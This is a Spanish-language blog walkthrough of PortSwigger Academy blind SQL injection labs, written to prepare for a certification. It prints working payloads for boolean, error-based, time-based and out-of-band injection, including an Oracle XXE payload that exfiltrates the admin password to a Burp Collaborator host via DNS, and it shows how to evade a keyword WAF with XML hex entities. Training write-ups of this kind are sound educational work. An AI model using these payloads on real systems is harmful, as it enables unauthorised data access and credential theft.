PortSwigger Academy – Laboratorios SQL Injection – Blind SQLi

¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.

Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.

En esta entrada explicaremos y solucionaremos todos los laboratorios relativos a Blind SQL Injection de la plataforma de PortSwigger. Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!

Como nota inicial, hay que decir que a lo largo de mi experiencia profesional tuve la oportunidad de ver también vulnerabilidades ciegas de todo tipo en diversas aplicaciones. Aunque a veces son más complejas de explotar, diría que son incluso más comunes que las UNION based. Por ello, si quieres dominar el arte del pentesting web, esta entrada deberías controlarla al máximo.

Lab11 (Practicioner) – Blind SQL injection with conditional responses

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, log in as the administrator user.». Sabemos, pues, que hay una inyección SQL y debemos obtener las credenciales de administrador. Además, la inyección es ciega y debemos hacer uso de respuestas condicionales (esto es, forzar o no cambios en la respuesta en base a condiciones prefijadas por nosotros).

Este laboratorio puede resolverse directamente a mano, pero nos ayudaremos de la herramienta «Intruder» de Burp Suite para presentarla. Además, hay que tener en cuenta que no lanzaremos el escaneo automatizado, si bien Burp Suite seguramente detecte esta vulnerabilidad sin mayores problemas.

Para comenzar enumerando la inyección SQL, haremos una prueba básica en la cookie de tracking «TrackingId», inyectando los siguientes payloads y buscando el mensaje «Welcome back!»:

13GMtuZwf8WJQbz8'%20AND'1'='1 => En este caso, el mensaje aparece
13GMtuZwf8WJQbz8'%20AND'1'='0 => En este caso, el mensaje NO aparece

Lo anterior tiene todo el sentido del mundo sabiendo que hay una SQLi que afecta a la cookie de tracking. Dado que 1=1 es una condición cierta mientras que 1=0 es una condición incierta y que el valor original de la cookie era «13GMtuZwf8WJQbz8», hemos detectado una inyección SQL ciega. Es ciega, eso sí, porque no tenemos reflejado el resultado de la consulta en la respuesta, pero sí podemos manipular parte de esta como hemos visto.

Para explotar esta vulnerabilidad, utilizaremos un payload basado en buscar de nuevo el mensaje «Welcome back!» conocido que existe una tabla «users» cuyas columnas son «username» y «password», además de un usuario «administrator». ¿Qué buscamos? Pues simplemente, buscamos con el siguiente payload el valor del primer carácter de la contraseña:

'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username+%3d+'administrator'),+1,+1)+=+'4

Fíjate que, en mi caso, el primer carácter es 4 y, por ello, la petición tiene éxito:

Y bien, ahora tenemos el primer carácter. Para no tener que ir a mano enumerando el resto de caracteres de la contraseña, mandaremos la petición al «Intruder» directamente. Una vez en el «Intruder», configuraremos los siguientes placeholders para las listas a probar. Fíjate que colocamos los placeholder en el número de carácter que queremos adivinar y en el propio carácter. Además, configuramos un atque de tipo «Cluster Bomb» y en función del placeholder, colocamos lo siguiente:

  • Placeholder 1: números del 1 al 25
  • Placeholder 2: números del 0-9 y letras minúsculas

Colocamos los placeholders anteriores porque sabemos que la contraseña tiene igual o menos de 25 caracteres (o lo intuimos) y que la contraseña tiene solo letras minúsculas y números (o lo intuimos), pero en la vida real colocaríamos cualquier carácter alfanumérico probablemente en la contraseña. Lo que hará «Intruder» en modo «Cluster Bomb» es ir iterando en cada posición todos los caracteres alfanuméricos, es decir, probar todas las opciones.

Y, tras configurar «Intruder», lanzamos el ataque. Si tenemos la versión de Burp Suite Professional, las 900 peticiones se harán en 5-10 segundos, lo cual es brutal. Ahora simplemente nos queda saber qué carácter iba en cada posición. ¿Cómo lo hacemos? Muy sencillo. En primer lugar, aplicamos un filtro para quedarnos solo con aquellas respuestas que tengan «Welcome back!» (esto es algo muy intuitivo en Burp Suite, si tienes dudas revisa sus manuales). Y, una vez aplicado el filtro, ordenamos la columna payload 1 en modo ascendente. Y… ¡Listo! Ya tienes los caracteres asociados a la contraseña del usuario administrador en la columna payload 2 de manera ordenada y ya puedes iniciar sesión para resolver el reto.

Lab12 (Practicioner) – Blind SQL injection with conditional errors

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, log in as the administrator user.». Sabemos, pues, que hay una inyección SQL y debemos obtener las credenciales de administrador. Además, la inyección es ciega y debemos hacer uso de errores condicionales (esto es, forzar errores en la solicitud).

Este laboratorio es muy similar al anterior, si bien en lugar de observar diferentes respuestas en función de forzar condiciones en la petición, lo que haremos es intentar forzar errores en la respuesta debido a condiciones no realizables en SQL como, por ejemplo, dividir por 0.

Para comenzar enumerando la inyección SQL, haremos una prueba básica en la cookie de tracking «TrackingId», inyectando los siguientes payloads y buscando el mensaje «Welcome back!», pero en este caso usamos condiciones inasumibles en SQL como la división por 0.

7UOjvupUcjzDOHpe'+AND+(SELECT+CASE+WHEN+(1%3d2)+THEN+TO_CHAR(1/0)+ELSE+NULL+END+FROM+dual)+IS+NULL-- => En este caso, obtenemos un 200 OK porque no hay error de sintaxis
7UOjvupUcjzDOHpe'+AND+(SELECT+CASE+WHEN+(1%3d1)+THEN+TO_CHAR(1/0)+ELSE+NULL+END+FROM+dual)+IS+NULL-- => En este caso, obtenemos un error 500 porque hay error de sintaxis al ejecutarse la división por 0

Lo anterior tiene todo el sentido del mundo sabiendo que hay una SQLi que afecta a la cookie de tracking. Dado que 1=1 es una condición cierta mientras que 1=2 es una condición incierta y que el valor original de la cookie era «7UOjvupUcjzDOHpe», hemos detectado una inyección SQL ciega basada en errores condicionales (forzar por ejemplo divisiones por 0). Seguimos el mismo enfoque que el visto en el caso anterior para obtener la primera letra de la contraseña:

7UOjvupUcjzDOHpe'+AND+(SELECT+CASE+WHEN+SUBSTR((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)<'3'+THEN+TO_CHAR(1/0)+ELSE+NULL+END+FROM+dual)+IS+NULL--

Con el payload anterior, obtenemos el primer carácter, ya que es la última petición que da 200 OK antes de empezar a dar errores 500 (es decir, antes de forzar la división por 0). Siguiendo el mismo patrón que antes, lanzamos el «Intruder» del mismo modo que en el laboratorio anterior (puedes ir a él si no lo has visto todavía). En este caso, es más complejo puesto que debemos buscar para cada posición de payload 1 la primera petición empezando del «0» a la «z» que da error 500. El carácter de dicha posición es siempre el último que haya dado una petición 200 previo a ese error 500.

Fíjate que en mi caso la contraseña será «309v…» y así sucesivamente. Ten cuidado de empezar por el «0» e ir aumentando hasta la «z» a la hora de buscar para cada posición. Ahora solo queda iniciar sesión y… ¡laboratorio resuelto!

Lab13 (Practicioner) – Visible error-based SQL injection

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account.». Sabemos, pues, que hay una inyección SQL y debemos obtener las credenciales de administrador. Además, la inyección es en este caso basada en errores, lo cual facilita mucho la explotación.

Para comenzar enumerando la inyección SQL, haremos una prueba básica en la cookie de tracking «TrackingId», inyectando una simple comilla y observando el error.

Tal como se puede ver, tenemos la consulta completa, por lo que podemos convertirla en una consulta «errónea» con el objetivo de obtener datos. Esto es, forzar un error para que la propia web nos devuelva lo que queremos como parte de ese error. Nótese que el payload está en negrita e incluye la primera comilla.

SELECT * FROM tracking WHERE id = '<valor de la cookie>' => Consulta original
SELECT * FROM tracking WHERE id = '' AND CAST((SELECT 1) AS int)-- => Primera consulta deseada

Fíjate que con la consulta anterior, nos da un error dado que los operandos deben ser booleanos. Ajustamos pues la consulta para que el operando del CASE sea comparado con un booleano.

SELECT * FROM tracking WHERE id = '' AND 1=CAST((SELECT 1) AS int)-- => Segunda consulta deseada
SELECT * FROM tracking WHERE id = '' AND 1=CAST((SELECT password from users) AS int)-- => Tercera consulta deseada

Con el último payload, ahora debemos resolver el último error y es que la consulta devuelve más de una fila. Para resolverlo, añadimos una cláusula LIMIT.

SELECT * FROM tracking WHERE id = '' AND 1=CAST((SELECT password from users LIMIT 1) AS int)-- => Payload final

Suponemos en este caso que la primera fila será la asociada con el usuario administrador, aunque esto podría haber que enumerarlo. No obstante, dado que tenemos errores, es sencillo ir ajustando esta consulta que hacemos dentro del CAST para obtener lo que queramos. En este caso, se saca la contraseña del usuario administrador:

Y, finalmente, iniciando sesión como «administrator»… ¡¡Laboratorio resuelto!!

Lab14 (Practicioner) – Blind SQL injection with time delays

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.». Sabemos, pues, que hay una inyección SQL y debemos revisar si se trata de una time-based, retrasando la respuesta 10 segundos.

Para ello, simplemente obtendremos que existe una inyección SQL utilizando payloads específicos de retraso intencional en SQL. Probaremos los siguientes payloads, teniendo en cuenta que el que funciona es el de PostgreSQL, que será el que resolverá directamente el laboratorio:

'; dbms_pipe.receive_message(('a'),10)-- - => Oracle
'; WAITFOR DELAY '0:0:10'-- - => Microsoft
'; SELECT pg_sleep(10)-- - => PostgreSQL
'; SELECT SLEEP(10)-- - => MySQL

Lab15 (Practicioner) – Blind SQL injection with time delays and information retrieval

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, log in as the administrator user.». Sabemos, pues, que hay una inyección SQL y debemos revisar si se trata de una time-based, aunque en este caso debemos obtener datos de la base de datos.

Empezamos, pues, interceptando la petición vulnerable y confirmando que la cookie de tracking es vulnerable a time-based SQL Injection con el payload para BBDD PostgreSQL. El payload es el mismo que para el laboratorio anterior:

Ahora que sabemos que tenemos una time-based SQLi, debemos adaptar el payload. Para hacernos una idea, intentaremos en primer lugar obtener un payload base que adivine el primer carácter de la contraseña almacenada para el usuario «administrator» (columna «password» de la table «users»).

'; SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END-- - => Payload primario

'; SELECT CASE WHEN ((SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1) = 'a')) THEN pg_sleep(10) ELSE pg_sleep(0) END-- - => Payload necesario

Fíjate en algo importante, si mandas el payload anterior, no podrás saber si funciona o no porque probablemente y salvo que tengas muchísima suerte, el primer carácter de la contraseña de administrador no será «a». Por tanto, la petición te tardará 0 segundos aproximadamente. Para obtener este primer carácter, tiramos de «Intruder». Vamos a configurar un solo payload en modo lista que contenga caracteres alfanuméricos y vamos a ver cuál es el que tarda 10 segundos. Ese será el primer valor.

La única petición que tarda 10 segundos es para el primer carácter «v». Por tanto, hemos obtenido el primer carácter. Ahora, necesitamos lanzar un ataque de «Intruder» para obtener el resto de caracteres. En el post anterior sobre inyecciones SQL básicas explicamos este punto. En resumidas cuentas, lanzamos un ataque «Cluster Bomb» donde el primer payload es el número de carácter y el segundo payload los caracteres alfanuméricos. Filtraremos finalmente todas aquellas peticiones que tardan 10 segundos para cada uno de los caracteres de la contraseña, tal como sigue:

Para finalizar el laboratorio, deberás obtener carácter a carácter cada posición empezando por la 1, la 2 y así sucesivamente. Una vez los tengas todos ordenados, iniciando sesión como «administrator» se soluciona el laboratorio.

Lab16 (Practicioner) – Blind SQL injection with out-of-band interaction

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.». Sabemos, pues, que hay una inyección SQL y lo que tenemos que hacer es forzar una consulta fuera de banda a través de una petición DNS a Burp Collaborator.

Dado que no sabemos a priori el modelo de base de datos al que nos enfrentamos, podemos intentar lanzar payloads para cada una de las bases de datos:

' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual-- - => Oracle 1

' UNION SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')-- - => Oracle 2

' UNION exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'-- - => MSSQL

' UNION copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'-- - => PostgreSQL

' UNION LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')-- - => MySQL 1

' UNION SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'-- - => MySQL 2

Simplemente mediante prueba error vemos que el payload correcto es el de Oracle y que enviándolo se resuelve el laboratorio al llegar peticiones DNS a Burp Collaborator.

Lab17 (Practicioner) – Blind SQL injection with out-of-band data exfiltration

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, log in as the administrator user.». Sabemos, pues, que hay una inyección SQL y lo que tenemos que hacer es forzar una consulta fuera de banda a través de una petición DNS a Burp Collaborator para extraer la información.

Dado que no sabemos a priori el modelo de base de datos al que nos enfrentamos, podemos intentar lanzar payloads para cada una de las bases de datos, aunque el correcto es el mismo que en el caso anterior:

' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual-- -

Sabiendo que existen peticiones DNS en Burp Collaborator, simplemente ahora debemos ubicar nuestros datos extraídos como parte de un subdominio de Burp Collaborator. Para ello, obtendremos los datos y lanzaremos consulta DNS añadiendo previamente los datos obtenidos como subdominio tal cual sigue:

' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual-- -

Lanzando este payload veremos que en el repeater no tenemos más que un simple 200 OK. Sin embargo, en la pestaña de Burp Collaborator obtendremos la contraseña del usuario administrador como subdominio de Burp Collaborator (ver imágenes):

Finalmente, inicia sesión con la contraseña y… ¡¡otro laboratorio al zurrón!!

Lab18 (Practicioner) – SQL injection with filter bypass via XML encoding

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «The database contains a users table, which contains the usernames and passwords of registered users. To solve the lab, perform a SQL injection attack to retrieve the admin user’s credentials, then log in to their account.». Sabemos, pues, que hay una inyección SQL, aunque en este caso estará en una consulta lanzada a través de XML y no en un parámetro de una query normal.

La petición vulnerable es la de chequeo de stocks. Es conveniente fijarse que, además de la vulnerabilidad, existe un WAF o mecanismo de defensa ya que al inyectar una comilla simple nos indica que se ha detectado un ataque, mientras que esa misma comilla codificada no nos devuelve ese error.

Vamos a comentar más sobre la codificación. En mi caso personal, utilizo mucho la extensión de Burp Suite Professional denominada Hackvertor. Esta extensión nos permite multitud de codificaciones de manera muy sencilla. En este caso, seleccionamos la codificación «hex_entities» para intentar hacer un «bypass» del WAF (entre comillas, porque obviamente no es un WAF y sí un laboratorio deliberadamente vulnerable). Y, ¿por qué usamos «hex_entities»? Sencillo, porque el payload se incluye en un XML y esas entidades son perfectamente usables en documentos XML. Será el backend quien lo procese y decodifique, mientras que el WAF simplemente no detecta el ataque al basar su detección seguramente en strings como «‘», «union», «select»…

Ahora que ya se entiende por qué usar «hex_entities» y que se puede usar Hackvertor, vamos a generar un payload válido para explotar la vulnerabilidad. En este caso, metiendo 1+1, vemos cómo se selecciona otro store. Por tanto, sabemos que se está interpretando dicho valor. Los payloads a usar son los siguientes:

1+1

1 UNION SELECT NULL

1 UNION SELECT NULL => Es el mismo payload anterior pero codificado

Fíjate que el valor null se refleja en la respuesta y, por tanto, estamos ante una inyección UNION-based simple. Lo único que nos queda es obtener los datos, siempre lanzando los payloads codificados, claro.

Y… Tal como se muestra arriba, ¡¡laboratorio listo!!

Con esto, finalizamos las entradas de SQL Injection. Como se pudo ver, los laboratorios son muy útiles para aprender cómo explotar estas vulnerabilidades a mano y no depender al completo de herramientas como SQLMap que, si bien es muy completa y nos asiste en esta tarea, nos abstrae demasiado de conocer los conceptos subyacentes. Esperemos que os haya gustado.

~km0xu95